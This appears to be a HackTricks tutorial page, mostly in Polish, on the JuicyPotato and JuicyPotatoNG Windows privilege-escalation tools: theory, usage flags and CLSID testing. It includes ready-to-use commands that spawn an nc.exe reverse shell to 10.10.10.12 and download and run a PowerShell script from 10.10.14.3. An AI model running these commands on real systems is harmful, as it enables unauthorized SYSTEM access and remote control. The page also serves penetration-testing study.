JuicyPotato

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

[!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage.

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (nadużywanie "golden privileges")

Słodsza wersja RottenPotatoNG, z odrobiną "soku", tj. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM

You can download juicypotato from https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Szybkie uwagi o kompatybilności

  • Działa niezawodnie do Windows 10 1803 i Windows Server 2016, gdy bieżący kontekst ma SeImpersonatePrivilege lub SeAssignPrimaryTokenPrivilege.
  • Nie działa w wyniku wzmocnień bezpieczeństwa w Windows 10 1809 / Windows Server 2019 i nowszych. Dla tych buildów preferuj alternatywy wymienione powyżej.

Podsumowanie

Z pliku Readme juicy-potato:

RottenPotatoNG i jego warianty wykorzystują łańcuch eskalacji uprawnień oparty na BITS service mającej nasłuch MiTM na 127.0.0.1:6666 oraz gdy masz uprawnienia SeImpersonate lub SeAssignPrimaryToken. Podczas przeglądu konfiguracji Windows znaleźliśmy środowisko, w którym BITS został celowo wyłączony, a port 6666 był zajęty.

Postanowiliśmy "uzbroić" RottenPotatoNG: poznaj Juicy Potato.

Dla teorii zobacz Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM i prześledź łańcuch linków oraz odnośników.

Odkryliśmy, że oprócz BITS istnieje kilka serwerów COM, które możemy wykorzystać. Muszą one jedynie:

  1. być możliwe do zainicjowania przez bieżącego użytkownika, zwykle “service user”, który posiada uprawnienia do impersonacji
  2. zaimplementować interfejs IMarshal
  3. działać jako użytkownik z podwyższonymi uprawnieniami (SYSTEM, Administrator, …)

Po testach uzyskaliśmy i sprawdziliśmy obszerną listę interesujących CLSID-ów na kilku wersjach Windows.

Szczegóły

JuicyPotato pozwala na:

  • Docelowy CLSID wybierz dowolny CLSID, który chcesz. Tutaj znajdziesz listę uporządkowaną według systemu operacyjnego.
  • Port nasłuchu COM określ port nasłuchu COM, którego chcesz użyć (zamiast na stałe ustawionego 6666)
  • Adres IP nasłuchu COM zwiąż serwer z dowolnym adresem IP
  • Tryb tworzenia procesu w zależności od uprawnień podszywanego użytkownika możesz wybrać:
  • CreateProcessWithToken (wymaga SeImpersonate)
  • CreateProcessAsUser (wymaga SeAssignPrimaryToken)
  • both
  • Proces do uruchomienia uruchom plik wykonywalny lub skrypt, jeśli eksploatacja zakończy się sukcesem
  • Argument procesu dostosuj argumenty uruchamianego procesu
  • Adres serwera RPC dla ukrytego podejścia możesz uwierzytelnić się na zewnętrznym serwerze RPC
  • Port serwera RPC przydatne, jeśli chcesz uwierzytelnić się na zewnętrznym serwerze, a zapora blokuje port 135
  • TRYB TESTOWY głównie do celów testowych, np. testowania CLSID-ów. Tworzy DCOM i wypisuje użytkownika tokenu. Zobacz tutaj do testów

Użycie

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Ostatnie uwagi

From juicy-potato Readme:

Jeśli użytkownik ma uprawnienia SeImpersonate lub SeAssignPrimaryToken, to jesteś SYSTEM.

Praktycznie niemożliwe jest zapobieżenie nadużyciom wszystkich tych COM Servers. Możesz rozważyć modyfikowanie uprawnień tych obiektów za pomocą DCOMCNFG, ale powodzenia — to będzie trudne.

Rzeczywiste rozwiązanie polega na zabezpieczeniu wrażliwych kont i aplikacji, które działają pod kontami * SERVICE. Zatrzymanie DCOM z pewnością utrudniłoby ten exploit, ale mogłoby mieć poważny wpływ na system operacyjny.

From: http://ohpe.it/juicy-potato/

JuicyPotatoNG (2022+)

JuicyPotatoNG ponownie wprowadza eskalację uprawnień lokalnych w stylu JuicyPotato na nowoczesnych systemach Windows, łącząc:

  • Rozwiązanie DCOM OXID do lokalnego serwera RPC na wybranym porcie, omijając stary, hardcoded nasłuch 127.0.0.1:6666.
  • Hook SSPI do przechwycenia i podszycia się pod przychodzące uwierzytelnienie SYSTEM bez potrzeby użycia RpcImpersonateClient, co również umożliwia CreateProcessAsUser, gdy obecne jest tylko uprawnienie SeAssignPrimaryTokenPrivilege.
  • Sztuczki spełniające ograniczenia aktywacji DCOM (np. dawny wymóg grupy INTERACTIVE przy celowaniu w klasy PrintNotify / ActiveX Installer Service).

Ważne uwagi (zachowanie zmienia się między buildami):

  • Wrzesień 2022: Początkowa technika działała na wspieranych systemach Windows 10/11 i Server, wykorzystując “INTERACTIVE trick”.
  • Styczeń 2023 — aktualizacja od autorów: Microsoft później zablokował INTERACTIVE trick. Inny CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) przywraca możliwość eksploatacji, ale tylko na Windows 11 / Server 2022, według ich wpisu.

Podstawowe użycie (więcej flag w pomocy):

JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
#  -b  Bruteforce all CLSIDs (testing only; spawns many processes)
#  -s  Scan for a COM port not filtered by Windows Defender Firewall
#  -i  Interactive console (only with CreateProcessAsUser)

Jeśli celujesz w Windows 10 1809 / Server 2019, gdzie klasyczny JuicyPotato jest załatany, preferuj alternatywy podlinkowane powyżej (RoguePotato, PrintSpoofer, EfsPotato/GodPotato itp.). NG może być sytuacyjne w zależności od builda i stanu usługi.

Przykłady

Uwaga: Odwiedź this page , aby uzyskać listę CLSID-ów do wypróbowania.

Uzyskaj nc.exe reverse shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Uruchom nowe CMD (jeśli masz dostęp przez RDP)

Problemy z CLSID

Często domyślny CLSID używany przez JuicyPotato nie działa i exploit kończy się niepowodzeniem. Zwykle potrzeba wielu prób, aby znaleźć działający CLSID. Aby uzyskać listę CLSID do wypróbowania dla konkretnego systemu operacyjnego, odwiedź tę stronę:

Sprawdzanie CLSID

Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe.

Pobierz Join-Object.ps1 i załaduj go do swojej sesji PS, a także pobierz i uruchom GetCLSID.ps1. Ten skrypt utworzy listę możliwych CLSID do przetestowania.

Następnie pobierz test_clsid.bat (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i uruchom go. Zacznie testować każdy CLSID, a gdy numer portu się zmieni, będzie to oznaczać, że CLSID zadziałał.

Sprawdź działające CLSID-y używając parametru -c

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks